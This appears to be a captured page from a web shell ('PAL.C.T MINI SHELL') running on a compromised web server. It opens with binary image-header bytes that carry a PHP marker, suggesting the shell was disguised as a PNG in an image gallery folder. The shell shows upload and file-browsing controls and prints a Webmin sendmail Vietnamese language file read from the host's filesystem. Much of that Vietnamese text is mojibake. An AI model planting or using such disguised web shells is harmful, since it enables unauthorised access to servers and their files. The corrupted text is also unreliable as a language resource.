‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/sendmail/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/sendmail/lang/vi.auto

index_title=Máy chủ Mailmail
index_econfig=Tệp cấu hình sendmail $1 không tồn tại. Có thể Sendmail chưa được cài đặt hoặc <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác.
index_eversion=Tệp cấu hình sendmail cá»§a bạn dưá»ng như không dành cho phiên bản sendmail má»›i nhất. Webmin chỉ há»— trợ các phiên bản 8.8 trở lên.
index_epath=Phần thực thi sendmail $1 không được cài đặt trên hệ thống của bạn. Có thể <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác hoặc sendmail chưa được cài đặt.
index_return=cấu hình sendmail
index_stop=Dừng gửi thư
index_stopmsg=Nhấn vào nút này để dừng quá trình sendmail Ä‘ang chạy. Äiá»u này sẽ ngăn thư được gá»­i đến ngưá»i dùng cục bá»™ từ các hệ thống khác và ngăn khách hàng sá»­ dụng hệ thống này làm máy chá»§ thư gá»­i thư.
index_start=Bắt đầu gửi thư
index_startmsg=Nhấn vào nút này để bắt đầu sendmail bằng lệnh $1. Cho đến khi Ä‘iá»u này được thá»±c hiện, thư sẽ không được gá»­i đến ngưá»i dùng cục bá»™ từ các hệ thống khác và khách hàng sẽ không thể sá»­ dụng hệ thống này làm máy chá»§ thư.
index_version2=Phiên bản gửi thư $1, cấu hình $2 
index_xversion=Phiên bản gửi thư $1 
index_version=Cấu hình gửi thư $1 
index_sendmail=Gửi thư

opts_title=Tùy chá»n gá»­i thư
opts_ecannot=Bạn không được phép chỉnh sá»­a tùy chá»n sendmail
opts_ds=Gửi thư đi qua máy chủ
opts_direct=Giao hàng trực tiếp
opts_dr=Chuyển tiếp tên ngưá»i dùng không đủ tiêu chuẩn để lưu trữ
opts_dh=Chuyển tiếp thư cho ngưá»i dùng cục bá»™ để lưu trữ
opts_local=Giao hàng tận nơi
opts_queuela=Tải trung bình tối đa để gửi
opts_refusela=Tải trung bình tối đa để nhận
opts_maxch=Quá trình con tối đa
opts_throttle=Kết nối tối đa / giây
opts_minqueueage=Thá»i gian tối thiểu trước khi thá»­ lại gá»­i
opts_runsize=Kích thước hàng đợi tối đa
opts_queuereturn=Thá»i gian trước khi từ bá»
opts_queuewarn=Thá»i gian trước khi gá»­i cảnh báo
opts_queue=Thư mục hàng đợi thư
opts_postmaster=Gửi thông báo lỗi đến
opts_forward=Tập tin chuyển tiếp ngưá»i dùng
opts_minfree=Dung lượng đĩa trống tối thiểu
opts_maxmessage=Kích thước tin nhắn tối đa
opts_loglevel=Mức đăng nhập
opts_mimebounce=MIME-mã hóa tin nhắn bị trả lại?
opts_default=Mặc định
opts_save=Lưu và áp dụng
opts_err=Không thể lưu tùy chá»n
opts_ehost='$1' không phải là tên miá»n hoặc máy chá»§ hợp lệ
opts_einvalid='$1' không phải là giá trị hợp lệ cho '$2'
opts_blame=Tùy chá»n bảo mật tệp
opts_selected=Äã chá»n ..
opts_blocks=khối
opts_bytes=byte
opts_dmode=Chế độ chuyển phát
opts_background=Lý lịch
opts_queue-only=Chỉ xếp hàng
opts_interactive=Tương tác
opts_deferred=Hoãn lại
opts_gecos=Chấp nhận thư cho tên thật cá»§a ngưá»i dùng?
opts_hops=Số lượng thư hop tối đa
opts_daemon=Tùy chá»n cổng SMTP
opts_maxbad=Ngưá»i nhận xấu tối Ä‘a
opts_maxrcpt=Ngưá»i nhận tối Ä‘a cho má»—i tin nhắn
opts_below=Äã nhập bên dưới ..
opts_qso=Sắp xếp hàng đợi thư theo
opts_priority=Sự ưu tiên
opts_host=Tên máy chủ
opts_time=Thá»i gian nhận

aliases_title=Bí danh thư
aliases_ecannot=Bạn không được phép chỉnh sửa bí danh
aliases_enofile=Không có tệp bí danh nào được xác định trong cấu hình Sendmail của bạn
aliases_addr=Äịa chỉ
aliases_to=Bí danh để ..
aliases_type1=Äịa chỉ 1
aliases_type2=Äịa chỉ trong tệp $1 
aliases_type3=Tệp $1 
aliases_type4=Chương trình $1 
aliases_type5=Tệp tự động $1 
aliases_type6=Ãp dụng tệp lá»c $1 
aliases_none=không ai
aliases_return=danh sách bí danh
aliases_toomany=Có quá nhiá»u bí danh thư trên hệ thống cá»§a bạn để hiển thị trên trang này.
aliases_go=Tìm bí danh phù hợp:
aliases_delete=Xóa các bí danh đã chá»n

aform_ecannot=Bạn không được phép chỉnh sửa bí danh này
aform_type0=không ai
aform_type1=ÄiÌ£a chỉ email
aform_type2=Äịa chỉ trong tập tin
aform_type3=Viết vào tập tin
aform_type4=Thức ăn cho chương trình
aform_type5=Tá»± động trả lá»i từ tập tin
aform_type6=Ãp dụng tập tin bá»™ lá»c
aform_edit=Chỉnh sửa bí danh
aform_create=Tạo bí danh
aform_name=Äịa chỉ
aform_enabled=Äã bật?
aform_file=Thêm vào tập tin bí danh
aform_val=Bí danh để
aform_afile=Biên tập ..
aform_return=bí danh
aform_cmt=Sự miêu tả

afile_title=Chỉnh sửa tập tin địa chỉ
afile_desc=Sử dụng vùng văn bản bên dưới để chỉnh sửa địa chỉ trong tệp $1.
afile_efile=Bạn không được phép chỉnh sửa $1.
afile_undo=Hoàn tác thay đổi
afile_ewrite=Không thể ghi vào tệp địa chỉ : $1 

ffile_title=Chỉnh sá»­a tập tin bá»™ lá»c
ffile_desc=Sá»­ dụng mẫu dưới đây để thiết lập quy tắc lá»c trong tệp $1.
ffile_efile=Bạn không được phép chỉnh sửa $1.
ffile_line=Nếu trưá»ng $1 $2 $3 thì chuyển tiếp sang $4 
ffile_from=từ
ffile_to=đến
ffile_subject=môn há»c
ffile_cc=CC
ffile_body=thân hình
ffile_what0=không phù hợp
ffile_what1=diêm
ffile_other=Nếu không thì chuyển tiếp tới $1 
ffile_err=Không thể lưu tệp bá»™ lá»c
ffile_ematch=Trận đấu mất tích
ffile_eaction=Thiếu địa chỉ chuyển tiếp

rfile_title=Chỉnh sửa tập tin tự động
rfile_desc=Sá»­ dụng vùng văn bản bên dưới để chỉnh sá»­a thông báo tá»± động trong $1. Thông báo có thể chứa các macro $ SUB Dá»° ÃN, $ TỪ, $ ÄẾN, $ NGÀY và $ CÆ  THỂ sẽ được mở rá»™ng khi tính năng tá»± động được kích hoạt.
rfile_desc2=Bạn cÅ©ng có thể đặt các tiêu đỠthư thêm hoặc thay thế các mặc định được sá»­ dụng trong tá»± động trả lá»i bằng cách đặt các dòng như: <br><tt> Từ: foo@bar.com </tt><br> <tt>Chá»§ Ä‘á»: Vào kỳ nghỉ</tt> <br> ở đầu tin nhắn, được phân tách khá»i phần thân bằng má»™t dòng trống duy nhất.
rfile_efile=Bạn không được phép chỉnh sửa $1.
rfile_undo=Hoàn tác thay đổi
rfile_replies=Theo dõi trả lá»i để ngăn chặn vòng lặp thư?
rfile_none=Không
rfile_file=Có, sử dụng tệp nhật ký
rfile_period=Khoảng thá»i gian tối thiểu giữa các câu trả lá»i
rfile_default=Mặc định (1 giá»)
rfile_secs=giây
rfile_ereplies=Thiếu tệp nhật ký theo dõi trả lá»i
rfile_eperiod=Số giây bị thiếu hoặc không hợp lệ giữa các lần trả lá»i
rfile_no_autoreply=Äừng gá»­i tá»± động đến
rfile_no_regexp=Không gửi tự động đến tin nhắn phù hợp với biểu thức chính
rfile_from=Từ: địa chỉ để trả lá»i
rfile_auto=Tá»± động (dá»±a trên địa chỉ ngưá»i nhận)
rfile_efrom=Thiếu từ: địa chỉ
rfile_fromdesc=Äịa chỉ From: phải luôn được chỉ định khi có thể, vì phương thức tá»± động có thể không đáng tin cậy.

asave_err=Không thể lưu bí danh
asave_ecannot2=Bạn không được phép chỉnh sửa bí danh
asave_ecannot=Bạn không được phép chỉnh sửa bí danh này
asave_emax=Bạn không được phép tạo nhiá»u hÆ¡n $1 bí danh
asave_eaddr='$1' không phải là địa chỉ hợp lệ
asave_ealready=Một bí danh cho '$1' đã tồn tại
asave_ematch=Bạn chỉ được phép tạo bí danh khớp với '$1'
asave_etype=Bạn không thể tạo bí danh của loại này
asave_etype1='$1' không phải là địa chỉ email hợp lệ
asave_etype2=Tệp địa chỉ '$1' không hợp lệ hoặc không tồn tại
asave_etype3='$1' không phải là tên tệp hợp lệ
asave_etype4='$1' không phải là chương trình hợp lệ hoặc không tồn tại
asave_etype5=Tệp tự động '$1' không hợp lệ
asave_etype4none=Không có chương trình nào
asave_etype6=Tệp bá»™ lá»c '$1' không hợp lệ
asave_esame=Bạn chỉ được phép tạo một bí danh có cùng tên với thông tin đăng nhập webmin của bạn

adelete_err=Không thể xóa bí danh
adelete_enone=Không được chá»n
adelete_ecannot=Bạn không được phép xóa bí danh $1 

cws_title=Tên miá»n địa phương
cws_ecannot=Bạn không được phép chỉnh sá»­a tên miá»n địa phương
cws_domains=Tên miá»n được xá»­ lý bởi máy chá»§ này
cws_desc1=Ngoài thư đến $1, sendmail sẽ chỉ chấp nhận thư chuyển phát cục bá»™ cho tên miá»n và tên máy chá»§ được liệt kê trong há»™p văn bản bên dưới. Nếu bạn muốn máy chá»§ thư cá»§a bạn xá»­ lý nhiá»u tên miá»n email, tất cả chúng phải được liệt kê trong biểu mẫu này.
cws_desc2=Lưu ý rằng chỉ bao gồm má»™t tên miá»n trong danh sách thưá»ng không đủ. Bạn cÅ©ng phải đảm bảo rằng bản ghi DNS cho tên miá»n tồn tại và trỠđến hệ thống cá»§a bạn.
cws_err=Không thể lưu tên miá»n cục bá»™
cws_ehost='$1' không phải là tên miá»n hoặc máy chá»§ hợp lệ
cws_eip='$1' là địa chỉ IP, không phải tên miá»n

masq_title=Masquerading tên miá»n
masq_ecannot=Bạn không được phép cấu hình hóa trang
masq_domain=Giả trang như miá»n
masq_domains=Tên miá»n được giả mạo
masq_ndomains=Tên miá»n không giả trang
masq_desc1=Nếu má»™t tên miá»n được đưa ra dưới đây, sendmail sẽ thay đổi địa chỉ <tt>Từ</tt> cá»§a tất cả các tin nhắn gá»­i Ä‘i sẽ xuất hiện từ tên miá»n đó. Ngoài ra, bất kỳ thư email nào Ä‘i qua hệ thống cá»§a bạn từ má»™t trong các máy chá»§ hoặc tên miá»n được liệt kê bên dưới cÅ©ng sẽ có địa chỉ <tt>Từ</tt> cá»§a chúng được sá»­a đổi theo cùng má»™t cách. Lưu ý rằng bất kỳ việc giả mạo tên miá»n nào được xác định ở đây Ä‘á»u có thể được ghi đè cho ngưá»i dùng cụ thể bằng cách sá»­ dụng trang <a href='$1'>Äịa chỉ gá»­i Ä‘i</a>.
masq_desc2=Tính năng này có thể hữu ích nếu bạn muốn email từ hệ thống cá»§a bạn xuất hiện từ tên miá»n cá»§a bạn chứ không phải tên máy chá»§ cá»§a bạn hoặc nếu hệ thống cá»§a bạn là trung tâm thư cho số lượng máy chá»§ khác chạy máy chá»§ cá»§a há».
masq_err=Không thể lưu tên miá»n giả mạo
masq_edomain='$1' không phải là miá»n hợp lệ để giả trang thành
masq_ehost='$1' không phải là tên miá»n hoặc máy chá»§ hợp lệ
masq_eip='$1' là địa chỉ IP, không phải tên miá»n

trusts_title=Ngưá»i dùng đáng tin cậy
trusts_ecannot=Bạn không được phép chỉnh sá»­a ngưá»i dùng đáng tin cậy
trusts_users=Ngưá»i dùng cục bá»™ được tin cậy bởi sendmail
trusts_desc=Nếu ngưá»i dùng cục bá»™ cố gắng gá»­i email, sendmail sẽ chỉ cho phép ngưá»i dùng cung cấp địa chỉ <tt>From:</tt> khác nếu ngưá»i dùng có trong danh sách bên dưới. Hạn chế này tồn tại để ngăn ngưá»i dùng giả mạo email vá»›i <tt>Từ:</tt> địa chỉ nguồn gốc từ hệ thống cá»§a bạn.
trusts_err=Không thể lưu ngưá»i dùng đáng tin cậy
trusts_euser='$1' không phải là ngưá»i dùng hợp lệ

virtusers_title=Äịa chỉ ánh xạ
virtusers_ecannot=Bạn không được phép chỉnh sửa ánh xạ địa chỉ
virtusers_efeature=Cấu hình sendmail của bạn không bật tính năng ánh xạ địa chỉ (<tt>virtuser</tt>). <a href='$1'>Nhấp vào đây</a> để thiết lập các tính năng gửi thư.
virtusers_efile=Tệp văn bản $1 từ đó cÆ¡ sở dữ liệu ánh xạ địa chỉ $2 được xây dá»±ng không tồn tại. Có lẽ bạn cần sá»­a đổi cấu hình mô-Ä‘un <a href='$3'></a> để sá»­ dụng đúng đưá»ng dẫn.
virtusers_createfile=Hoặc nếu tính năng này vừa được bật, hãy <a href='$1'>nhấp vào đây</a> để tạo tệp.
virtusers_desc1=Ãnh xạ địa chỉ tương tá»± như <a href='$1'>bí danh</a>, nhưng phù hợp hÆ¡n vá»›i hệ thống xá»­ lý nhiá»u tên miá»n email. Chúng có thể được sá»­ dụng để chuyển hướng thư cho toàn bá»™ tên miá»n đến má»™t địa chỉ, xá»­ lý ngưá»i dùng có cùng tên trong các tên miá»n khác nhau hoặc ánh xạ tất cả thư từ tên miá»n này sang tên miá»n khác.
virtusers_desc2=Lưu ý rằng bạn phải có má»™t mục trong bảng <a href='$1'>tên miá»n cục bá»™</a> cho bất kỳ tên miá»n nào được sá»­ dụng để ánh xạ địa chỉ và phải có bản ghi DNS MX cho má»—i tên miá»n trỠđến hệ thống cá»§a bạn.
virtusers_for=Gửi thư cho ..
virtusers_to=Gửi đến ..
virtusers_error=Lá»—i $1 
virtusers_domain=Tên miá»n $1 
virtusers_address=Äịa chỉ 1
virtusers_cmt=Sự miêu tả
virtusers_return=danh sách bản đồ địa chỉ
virtusers_toomany=Có quá nhiá»u ánh xạ địa chỉ trên hệ thống cá»§a bạn để hiển thị trên trang này.
virtusers_go=Tìm ánh xạ địa chỉ phù hợp:
virtusers_delete=Xóa ánh xạ địa chỉ đã chá»n

vform_edit=Chỉnh sửa ánh xạ địa chỉ
vform_create=Tạo bản đồ địa chỉ
vform_for=Gửi thư cho
vform_address=Äịa chỉ
vform_domain=Miá»n
vform_to=Gửi đến
vform_msg=thông điệp
vform_error=Lỗi trả lại
vform_cmt=Sự miêu tả
vform_err_nouser=Không có ngưá»i dùng như vậy
vform_err_nohost=Không có máy chủ như vậy
vform_err_unavailable=Không có sẵn
vform_err_tempfail=Thất bại tạm thá»i
vform_err_protocol=Lỗi giao thức
vform_end=Di chuyển đến cuối
vform_ecannot=Bạn không được phép chỉnh sửa ánh xạ địa chỉ này

vsave_ecannot=Bạn không được phép chỉnh sửa ánh xạ địa chỉ
vsave_ecannot2=Bạn không được phép chỉnh sửa ánh xạ địa chỉ này
vsave_emax=Bạn không được phép tạo nhiá»u hÆ¡n $1 ánh xạ địa chỉ
vsave_err=Không thể lưu ánh xạ địa chỉ
vsave_efrom='$1' không phải là địa chỉ hợp lệ
vsave_efromdup=Ãnh xạ địa chỉ cho '$1' đã được xác định
vsave_edom='$1' không phải là miá»n hợp lệ
vsave_edomdup=Ãnh xạ địa chỉ cho '$1' đã được xác định
vsave_ematch=Äịa chỉ nguồn không khá»›p vá»›i '$1'
vsave_esame=Bạn chỉ được phép tạo ánh xạ địa chỉ cho tên ngưá»i dùng cá»§a mình
vsave_ecannot3=Bạn không được phép tạo ánh xạ tới địa chỉ
vsave_eaddr='$1' không phải là địa chỉ hợp lệ
vsave_ecannot4=Bạn không được phép tạo ánh xạ tá»›i các miá»n
vsave_edomdom=Chỉ má»™t tên miá»n có thể được ánh xạ sang tên miá»n khác
vsave_ecannot5=Bạn không được phép tạo ánh xạ trả vỠlỗi

vdelete_err=Không thể xóa ánh xạ địa chỉ
vdelete_ecannot=Bạn không được phép xóa ánh xạ cho $1 

mailers_title=Äịnh tuyến tên miá»n
mailers_cannot=Bạn không được phép chỉnh sá»­a định tuyến tên miá»n
mailers_edirective=Tệp cấu hình sendmail cá»§a bạn không có chỉ thị cần thiết cho định tuyến tên miá»n.
mailers_efeature=Cấu hình sendmail cá»§a bạn không bật tính năng định tuyến tên miá»n (<tt>mailertable</tt>). <a href='$1'>Nhấp vào đây</a> để thiết lập các tính năng gá»­i thư.
mailers_efile=Tệp văn bản $1 từ đó cÆ¡ sở dữ liệu định tuyến tên miá»n $2 được xây dá»±ng không tồn tại. Có lẽ bạn cần sá»­a đổi cấu hình mô-Ä‘un <a href='$3'></a> để sá»­ dụng đúng đưá»ng dẫn.
mailers_desc1=Äịnh tuyến tên miá»n cung cấp má»™t cách để xác định má»™t phương thức chuyển đặc biệt cho thư đến các tên miá»n nhất định. Äiá»u này có thể hữu ích nếu hệ thống cá»§a bạn là má»™t cổng cho các máy chá»§ thư không thể truy cập từ bên ngoài mạng cá»§a bạn hoặc nếu bạn muốn buá»™c tất cả thư cho má»™t tên miá»n cụ thể được chuyển qua má»™t số máy chá»§ khác.
mailers_desc2=Bạn nên <b>không</b> có má»™t mục trong danh sách <a href='$1'>tên miá»n cục bá»™</a> cho bất kỳ tên miá»n được định tuyến nào. Tuy nhiên, bạn nên có má»™t bản ghi DNS MX trỠđến hệ thống cá»§a bạn cho bất kỳ tên miá»n nào mà nó là má»™t cổng cho.
mailers_desc3=Bạn cÅ©ng nên có má»™t mục trong danh sách <a href='$1'>tên miá»n chuyển tiếp</a> cho từng tên miá»n.
mailers_for=Gửi thư cho ..
mailers_delivery=Chuyển
mailers_to=Gửi đến ..
mailers_return=danh sách định tuyến tên miá»n
mailers_delete=Xóa các tuyến miá»n được chá»n

mform_edit=Chỉnh sửa định tuyến
mform_create=Tạo định tuyến
mform_for=Gửi thư cho
mform_host2=Máy chá»§ hoặc tên miá»n
mform_domain2=Tất cả máy chá»§ trong miá»n
mform_domain3=Tên miá»n và tất cả các máy chá»§ lưu trữ cá»§a nó
mform_delivery=Chuyển
mform_to=Gửi đến
mform_ignore=BỠqua MX để gửi SMTP
mform_smtp=SMTP
mform_esmtp=SMTP mở rộng
mform_smtp8=SMTP 8 bit
mform_relay=Chuyển tiếp SMTP
mform_local=Ngưá»i dùng cục bá»™
mform_prog=Thức ăn cho chương trình
mform_uucp=UUCp
mform_usenet=Äăng lên USENET
mform_fax=HylaFAX
mform_pop=POP3
mform_procmail=Procmail
mform_mail11=Thư điện tử11
mform_error=lá»—i
mform_ecannot=Bạn không được phép chỉnh sá»­a định tuyến tên miá»n

msave_ecannot=Bạn không được phép chỉnh sá»­a định tuyến tên miá»n
msave_err=Không thể lưu định tuyến tên miá»n
msave_edomain='$1' không phải là máy chá»§ hoặc miá»n hợp lệ
msave_edup=Äịnh tuyến tên miá»n cho '$1' đã được xác định

mdelete_err=Không thể xóa bá»™ định tuyến miá»n
mdelete_ecannot=Bạn không được phép xóa tuyến đưá»ng cho $1 

generics_title=Äịa chỉ gá»­i Ä‘i
generics_cannot=Bạn không được phép chỉnh sửa địa chỉ đi
generics_econfig=Tệp cấu hình sendmail của bạn không có chỉ thị cần thiết cho ánh xạ địa chỉ đi.
generics_efeature=Cấu hình sendmail của bạn không có tính năng ánh xạ địa chỉ đi (<tt>genericics</tt>) được bật. <a href='$1'>Nhấp vào đây</a> để thiết lập các tính năng gửi thư.
generics_efile=Tệp văn bản $1 từ đó cÆ¡ sở dữ liệu địa chỉ gá»­i $2 được xây dá»±ng không tồn tại. Có lẽ bạn cần sá»­a đổi cấu hình mô-Ä‘un <a href='$3'></a> để sá»­ dụng đúng đưá»ng dẫn.
generics_desc1=Ãnh xạ địa chỉ Ä‘i cho phép bạn sá»­a đổi <tt>Từ:</tt> địa chỉ thư được gá»­i từ hệ thống cá»§a bạn hoặc thông qua hệ thống cá»§a bạn bởi các máy chá»§ khác trên mạng cục bá»™ cá»§a bạn. Äiá»u này có thể hữu ích nếu bạn Ä‘ang lưu trữ nhiá»u tên miá»n trên má»™t hệ thống và muốn thư từ má»™t số ngưá»i dùng xuất hiện đến từ má»™t tên miá»n khác.
generics_desc2=Lưu ý rằng bạn phải có má»™t mục trong bảng <a href='$1'>tên miá»n gá»­i Ä‘i</a> cho má»—i tên miá»n có địa chỉ mà bạn muốn ánh xạ Ä‘i được thá»±c hiện. CÅ©ng lưu ý rằng ánh xạ địa chỉ Ä‘i không hoạt động đối vá»›i thư được gá»­i đến ngưá»i dùng cục bá»™.
generics_from=Thư đến từ ..
generics_to=Thay đổi thành ..
generics_return=danh sách bản đồ địa chỉ
generics_toomany=Có quá nhiá»u địa chỉ gá»­i Ä‘i trên hệ thống cá»§a bạn để hiển thị trên trang này.
generics_go=Tìm địa chỉ gửi phù hợp:
generics_delete=Xóa địa chỉ gá»­i Ä‘i đã chá»n

gform_edit=Chỉnh sửa bản đồ
gform_create=Tạo bản đồ
gform_from=Thư đến từ
gform_to=Thay đổi thành
gform_ecannot=Bạn không được phép chỉnh sửa địa chỉ gửi đi này

gsave_ecannot=Bạn không được phép chỉnh sửa địa chỉ đi
gsave_ecannot2=Bạn không được phép chỉnh sửa địa chỉ gửi đi này
gsave_ecannot3=Bạn không được phép lưu địa chỉ gửi đi này
gsave_err=Không thể lưu địa chỉ gửi đi
gsave_efrom='$1' không hợp lệ từ địa chỉ
gsave_ematch=Äịa chỉ từ không khá»›p vá»›i '$1'
gsave_eto='$1' không phải là địa chỉ mới hợp lệ
gsave_ealready=Ãnh xạ địa chỉ Ä‘i cho '$1' đã tồn tại

gdelete_err=Không thể xóa ánh xạ địa chỉ đi
gdelete_ecannot=Bạn không được phép xóa ánh xạ cho $1 

cgs_title=Tên miá»n gá»­i Ä‘i
cgs_ecannot=Bạn không được phép chỉnh sá»­a tên miá»n Ä‘i
cgs_header=Tên miá»n địa chỉ gá»­i Ä‘i
cgs_desc=Ngoài thư được gá»­i bởi ngưá»i dùng cục bá»™, sendmail sẽ chỉ thá»±c hiện ánh xạ <a href='$1'>địa chỉ gá»­i</a> cho thư từ máy chá»§ hoặc tên miá»n được liệt kê trong há»™p văn bản bên dưới. Do đó, để nhập địa chỉ Ä‘i để làm việc, tên miá»n trong địa chỉ từ phải được đưa vào danh sách này.
cgs_err=Không thể lưu tên miá»n gá»­i Ä‘i
cgs_ehost='$1' không phải là tên miá»n hoặc máy chá»§ hợp lệ
cgs_eip='$1' là địa chỉ IP, không phải tên miá»n

domains_title=Ãnh xạ tên miá»n
domains_ecannot=Bạn không được phép chỉnh sá»­a ánh xạ tên miá»n
domains_econfig=Tệp cấu hình sendmail cá»§a bạn không có chỉ thị cần thiết cho ánh xạ tên miá»n.
domains_efeature=Cấu hình sendmail cá»§a bạn không có tính năng ánh xạ tên miá»n (<tt>có thể nhìn thấy</tt>). <a href='$1'>Nhấp vào đây</a> để thiết lập các tính năng gá»­i thư.
domains_efile=Tệp văn bản $1 từ đó cÆ¡ sở dữ liệu ánh xạ tên miá»n $2 được xây dá»±ng không tồn tại. Có lẽ bạn cần sá»­a đổi cấu hình mô-Ä‘un <a href='$3'></a> để sá»­ dụng đúng đưá»ng dẫn.
domains_desc=Ãnh xạ tên miá»n sá»­a đổi địa chỉ <tt>To:</tt> cá»§a các tin nhắn được gá»­i Ä‘i, được chuyển tiếp hoặc gá»­i đến ngưá»i dùng trên hệ thống cá»§a bạn. Äịa chỉ <tt>Từ:</tt> cá»§a tin nhắn hoặc tin nhắn được chuyển tiếp đến ngưá»i dùng cục bá»™ cÅ©ng được sá»­a đổi. Äiá»u này có thể hữu ích nếu tên miá»n cá»§a bạn thay đổi và bạn muốn thay đổi tất cả các lần xuất hiện cá»§a tên miá»n cÅ© sang tên miá»n má»›i.
domains_from=Từ tên miá»n ..
domains_to=Äể tên miá»n ..
domains_return=danh sách bản đồ tên miá»n
domains_delete=Xóa ánh xạ tên miá»n đã chá»n

dform_edit=Chỉnh sửa bản đồ
dform_create=Tạo bản đồ
dform_from=Từ tên miá»n
dform_to=Äến miá»n
dform_ecannot=Bạn không được phép chỉnh sá»­a ánh xạ tên miá»n

dsave_ecannot=Bạn không được phép chỉnh sá»­a ánh xạ tên miá»n
dsave_err=Không thể lưu ánh xạ tên miá»n
dsave_edomain='$1' không phải là má»™t tên miá»n hợp lệ
dsave_ealready=Ãnh xạ tên miá»n cho '$1' đã tồn tại

ddelete_err=Không thể xóa ánh xạ tên miá»n
ddelete_ecannot=Bạn không được phép xóa ánh xạ cho $1 

access_title=Kiểm soát thư rác
access_ecannot=Bạn không được phép cấu hình kiểm soát thư rác
access_efeature=Cấu hình sendmail của bạn không có tính năng kiểm soát thư rác (<tt>access_db</tt>). <a href='$1'>Nhấp vào đây</a> để thiết lập các tính năng gửi thư.
access_efile=Tệp văn bản $1 từ đó cÆ¡ sở dữ liệu kiểm soát thư rác $2 được xây dá»±ng không tồn tại. Có lẽ bạn cần sá»­a đổi cấu hình mô-Ä‘un <a href='$3'></a> để sá»­ dụng đúng đưá»ng dẫn.
access_desc1=Tính năng kiểm soát thư rác cá»§a Sendmail cho phép bạn ngăn thư rác đến vá»›i ngưá»i dùng cá»§a mình bằng cách từ chối thư từ má»™t số địa chỉ nhất định và để ngăn những kẻ gá»­i thư rác sá»­ dụng hệ thống cá»§a bạn để chuyển tiếp thư. Theo mặc định, sendmail sẽ chấp nhận thư từ bất kỳ địa chỉ nào cho ngưá»i dùng cục bá»™, nhưng ngăn má»i máy khách hoặc máy chá»§ thư chuyển tiếp thư qua hệ thống cá»§a bạn. Thông thưá»ng, bạn sẽ thêm các quy tắc kiểm soát thư rác để từ chối thư từ những kẻ gá»­i thư rác và các quy tắc để cho phép các máy khác trong mạng cá»§a bạn chuyển tiếp thư qua hệ thống cá»§a bạn.
access_desc2=Lưu ý rằng sendmail theo mặc định sẽ cho phép các ứng dụng thư khách đang chạy trên hệ thống của bạn chuyển tiếp thư qua SMTP đến bất kỳ đích nào. Do đó, không cần thêm mạng <tt>127.0.0</tt> cục bộ vào danh sách những mạng được phép chuyển tiếp.
access_source=Nguồn ..
access_action=Hoạt động ..
access_return=danh sách kiểm soát thư rác
access_toomany=Có quá nhiá»u quy tắc kiểm soát thư rác trên hệ thống cá»§a bạn để hiển thị trên trang này.
access_go=Tìm quy tắc kiểm soát thư rác phù hợp:
access_delete=Xóa các quy tắc kiểm soát thư rác được chá»n

sform_edit=Chỉnh sửa quy tắc kiểm soát thư rác
sform_create=Tạo quy tắc kiểm soát thư rác
sform_source=Nguồn thư
sform_type0=ÄiÌ£a chỉ email
sform_type1=Mạng
sform_type2=Ngưá»i sá»­ dụng
sform_type3=Miá»n
sform_tag=Trận đấu với
sform_tag_=Má»i Ä‘iá»u
sform_tag_from=Từ: địa chỉ
sform_tag_to=Äến địa chỉ
sform_tag_connect=Thông tin kết nối
sform_tag_spam=Thông tin spam
sform_action=Hoạt động
sform_ok=Chấp nhận
sform_relay=Cho phép chuyển tiếp
sform_reject=Từ chối
sform_discard=Hủy âm thầm
sform_err=Mã lỗi
sform_msg=Thông điệp
sform_ecannot=Bạn không được phép chỉnh sửa quy tắc kiểm soát thư rác này

ssave_err=Không thể lưu quy tắc kiểm soát thư rác
ssave_etype0='$1' không phải là địa chỉ hợp lệ
ssave_etype1='$1' không phải là địa chỉ mạng hợp lệ
ssave_etype2='$1' không phải là tên ngưá»i dùng hợp lệ
ssave_etype3='$1' không phải là miá»n hợp lệ
ssave_ecode='$1' không phải là mã lỗi SMTP hợp lệ
ssave_ealready=Quy tắc kiểm soát spam cho '$1' đã tồn tại
ssave_ecannot2=Bạn không được phép lưu quy tắc kiểm soát thư rác này

sdelete_err=Không thể xóa các quy tắc kiểm soát thư rác
sdelete_ecannot=Bạn không được phép xóa quy tắc cho $1 

relay_title=RÆ¡le miá»n
relay_ecannot=Bạn không được phép chỉnh sá»­a tên miá»n chuyển tiếp
relay_eversion=Chỉ các phiên bản sendmail 8,9 trở lên má»›i há»— trợ tính năng miá»n chuyển tiếp.
relay_domains=Tên miá»n được phép chuyển tiếp
relay_desc1=Trừ khi được phép bởi các quy tắc <a href='$1'>kiểm soát thư rác</a>, sendmail sẽ chỉ cho phép chuyển tiếp đến các tên miá»n được liệt kê trong há»™p văn bản bên dưới. Các thư đến không dành cho ngưá»i dùng cục bá»™ và không dành cho má»™t trong các tên miá»n được liệt kê sẽ bị từ chối.
relay_desc2=Nếu hệ thống cá»§a bạn Ä‘ang phục vụ như má»™t cổng cho má»™t số tên miá»n không thể truy cập trá»±c tiếp từ bên ngoài mạng cá»§a bạn (sá»­ dụng tính năng <a href='$1'>định tuyến tên miá»n</a>), thì tất cả các tên miá»n đó sẽ được liệt kê ở đây.
relay_err=Không thể lưu tên miá»n chuyển tiếp
relay_edomain='$1' không phải là má»™t tên miá»n hợp lệ

mailq_title=Hàng đợi thư
mailq_count=$1 tin nhắn
mailq_ecannot=Bạn không được phép xem hàng đợi thư
mailq_id=Tài khoản mail
mailq_sent=Gởi
mailq_from=Từ
mailq_to=Äến
mailq_size=Kích thước
mailq_status=Trạng thái
mailq_cc=Cc
mailq_subject=Môn há»c
mailq_dir=Danh mục
mailq_unknown=không xác định
mailq_sending=Gá»­i
mailq_dmsg=Äể xem thư từ hàng đợi thư, nhấp vào ID cá»§a nó trong danh sách trên.
mailq_force=Äể buá»™c gá»­i thư xếp hàng ngay lập tức, hãy <a href='$1'>nhấp vào đây</a>.
